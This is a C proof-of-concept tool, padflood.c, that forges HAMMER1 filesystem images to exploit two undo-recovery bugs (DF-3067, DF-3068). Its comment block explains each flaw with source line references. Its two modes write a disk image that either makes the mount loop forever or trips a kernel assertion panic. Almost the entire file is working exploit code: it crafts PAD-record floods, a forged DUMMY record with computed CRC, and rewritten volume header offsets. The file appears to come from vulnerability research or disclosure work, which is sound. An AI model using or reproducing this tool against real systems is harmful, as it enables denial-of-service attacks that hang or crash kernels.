DF-3067 / padflood.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 | /* * padflood.c - DF-3067 / DF-3068 PoC image forger for HAMMER1 undo recovery. * * DF-3067 (backscan hang): * hammer_recover_stage1() (hammer_recover.c:250-270) runs, for EVERY * version>=4 mount, an UNBOUNDED reverse FIFO walk whose only exits are * (a) an I/O / signature error or (b) the first non-PAD record (to grab * its hdr_seq). PAD records are explicitly exempt from the seqno * discontinuity check (:266-269), and the walk wraps at the zone base * (:789-790 hammer_recover_scan_rev), so an undo FIFO consisting solely * of valid 8-byte PAD records (signature 0xC84E, type 0x8040, size 8) * makes the mount spin forever: no byte counter, no lap limit, no * error. Same unbounded-walk shape in stage2's extended-range scan * (:652-670) when hmp->recover_stage2_offset (REDO_SYNC.redo_offset, * an unvalidated u64) never matches a record boundary. * * mode "backscan": flood every vol0_undo_array[] bigblock with PAD-8s, * set vol_version=6, first=next=UNDO|0x1000. Mount never returns. * * DF-3068 (walk desync -> INVARIANTS KKASSERT panic): * For version<4 filesystems the nominal undo range is taken verbatim * from vol0_blockmap[3] (first_offset/next_offset - hammer_recover.c:225- * 226), and the reverse walk steps `scan_offset -= hdr_size` while the * byte counter steps `bytes -= hdr_size`, but hdr_size comes from the * record the *tail* decoded - a fake tail whose tail_size points at an * attacker-chosen oversized record head makes one iteration consume more * bytes than remain, so the loop exits with bytes<0 and * KKASSERT(error || bytes == 0) at hammer_recover.c:460 fires * (deterministic panic on INVARIANTS kernels; on production kernels the * mount silently continues with a mis-recovered FIFO and rewrites the * volume-header blockmap). * * mode "desync": version=3, a 24-byte DUMMY record at [F-16,F+8) whose * tail doubles as the fake tail one iteration later, first=F, * next=F+8 -> bytes goes 8 -> -16 -> KKASSERT panic. * * No vol_crc fixup needed (never verified in-kernel, see DF-3042). * * Build (guest): cc -O -o padflood padflood.c -I/usr/src/sys/vfs/hammer * Usage: padflood backscan|desync <img> */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <inttypes.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/param.h> #include <stddef.h> #include <hammer_disk.h> #define OOF(x) offsetof(struct hammer_volume_ondisk, x) static uint32_t crc_tab[256]; static void crc_init(void) { for (uint32_t i = 0; i < 256; i++) { uint32_t c = i; for (int k = 0; k < 8; k++) c = (c & 1) ? 0xEDB88320U ^ (c >> 1) : c >> 1; crc_tab[i] = c; } } static uint32_t crc32b(const void *buf, size_t len) { const uint8_t *p = buf; uint32_t c = 0xFFFFFFFFU; for (size_t i = 0; i < len; i++) c = crc_tab[(c ^ p[i]) & 0xFF] ^ (c >> 8); return (c ^ 0xFFFFFFFFU); } /* hammer_crc_get_fifo_head(): datacrc(head,12) ^ datacrc(head+1,bytes-16) */ static uint32_t fifo_crc(const uint8_t *rec, uint32_t bytes) { return (crc32b(rec, 12) ^ crc32b(rec + 16, bytes - 16)); } static const uint8_t pad8[8] = { 0x4E, 0xC8, /* hdr_signature 0xC84E */ 0x40, 0x80, /* hdr_type HAMMER_HEAD_TYPE_PAD (0x8040) */ 0x08, 0x00, 0x00, 0x00 /* hdr_size 8 (also tail_size: head==tail) */ }; static void put16(uint8_t *p, uint16_t v) { p[0] = v & 0xff; p[1] = v >> 8; } static void put32(uint8_t *p, uint32_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; } static void dump_map(const char *tag, struct hammer_blockmap *bm) { printf("%s: phys=%016jx first=%016jx next=%016jx alloc=%016jx\n", tag, (uintmax_t)bm->phys_offset, (uintmax_t)bm->first_offset, (uintmax_t)bm->next_offset, (uintmax_t)bm->alloc_offset); } int main(int ac, char **av) { struct hammer_volume_ondisk hdr; struct hammer_blockmap *undo; hammer_off_t alloc, first, next; uint64_t vol_buf_beg; static uint8_t bb[HAMMER_BIGBLOCK_SIZE]; off_t mapoff = OOF(vol0_blockmap) + HAMMER_ZONE_UNDO_INDEX * sizeof(struct hammer_blockmap); uint8_t rec[32]; int fd, nbb, i; if (ac != 3) { fprintf(stderr, "usage: padflood backscan|desync <img>\n"); return (2); } crc_init(); fd = open(av[2], O_RDWR); if (fd < 0) { perror("open"); return (1); } if (pread(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pread"); return (1); } if (hdr.vol_signature != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a hammer volume\n"); return (1); } undo = (struct hammer_blockmap *)((char *)&hdr + mapoff); dump_map("undo BEFORE", undo); printf("vol_version=%u\n", hdr.vol_version); alloc = undo->alloc_offset; vol_buf_beg = hdr.vol_buf_beg; /* phys offset of first zone-2 buffer */ nbb = (int)((alloc & HAMMER_OFF_LONG_MASK) / HAMMER_BIGBLOCK_SIZE64); printf("vol_buf_beg=%016jx undo bigblocks=%d\n", (uintmax_t)vol_buf_beg, nbb); if (nbb < 1 || nbb > HAMMER_MAX_UNDO_BIGBLOCKS) { fprintf(stderr, "unexpected undo geometry\n"); return (1); } /* fill one 8MB bigblock buffer with the PAD-8 pattern */ for (i = 0; i < HAMMER_BIGBLOCK_SIZE; i += 8) memcpy(bb + i, pad8, 8); if (strcmp(av[1], "backscan") == 0) { /* * DF-3067: all-PAD undo FIFO -> stage1 v4+ backscan * (hammer_recover.c:260-270) never terminates. * * Shrink the ring to 256KB (alloc_offset = UNDO|0x40000) so * the cyclic walk repeats its offsets quickly - the debug * flood (vfs.hammer.debug_general=0x80) visibly cycles. */ uint64_t phys = vol_buf_beg + (hdr.vol0_undo_array[0] & HAMMER_OFF_LONG_MASK); uint64_t ring = 0x40000; if (pwrite(fd, bb, ring, (off_t)phys) != (ssize_t)ring) { perror("pwrite pad"); return (1); } printf("PAD-flooded %llu bytes at phys %016jx\n", (unsigned long long)ring, (uintmax_t)phys); hdr.vol_version = HAMMER_VOL_VERSION_SIX; /* crc32 path */ alloc = HAMMER_ENCODE_UNDO(ring); first = HAMMER_ENCODE_UNDO(0x1000); next = first; undo->alloc_offset = alloc; undo->first_offset = first; undo->next_offset = next; } else if (strcmp(av[1], "desync") == 0) { /* * DF-3068: v3 fs, first=F, next=F+8 (bytes=8). The single * reverse iteration decodes a fake tail at F whose * tail_size=24 anchors a 24-byte DUMMY head at F-16, so * bytes goes 8-24=-16 and KKASSERT(:460) fires. */ uint64_t phys = vol_buf_beg + (hdr.vol0_undo_array[0] & HAMMER_OFF_LONG_MASK); uint64_t F = 0x1000; memset(rec, 0, sizeof(rec)); /* DUMMY head at F-16 */ put16(rec + 0, HAMMER_HEAD_SIGNATURE); put16(rec + 2, HAMMER_HEAD_TYPE_DUMMY); put32(rec + 4, 24); /* hdr_size */ put32(rec + 8, 0x1234); /* hdr_seq */ put32(rec + 12, 0); /* hdr_crc, set below */ /* bytes [16,24) are ALSO the record tail + next fake tail */ put16(rec + 16, HAMMER_TAIL_SIGNATURE); put16(rec + 18, HAMMER_HEAD_TYPE_DUMMY); put32(rec + 20, 24); /* tail_size */ put32(rec + 12, fifo_crc(rec, 24)); if (pwrite(fd, rec, 24, (off_t)(phys + F - 16)) != 24) { perror("pwrite rec"); return (1); } printf("DUMMY+fake-tail written at phys %016jx + %llx\n", (uintmax_t)phys, (unsigned long long)(F - 16)); hdr.vol_version = HAMMER_VOL_VERSION_THREE; first = HAMMER_ENCODE_UNDO(F); next = HAMMER_ENCODE_UNDO(F + 8); undo->first_offset = first; undo->next_offset = next; } else { fprintf(stderr, "bad mode %s\n", av[1]); return (2); } if (pwrite(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pwrite hdr"); return (1); } dump_map("undo AFTER ", undo); printf("vol_version=%u mode=%s crafted OK\n", hdr.vol_version, av[1]); close(fd); return (0); } |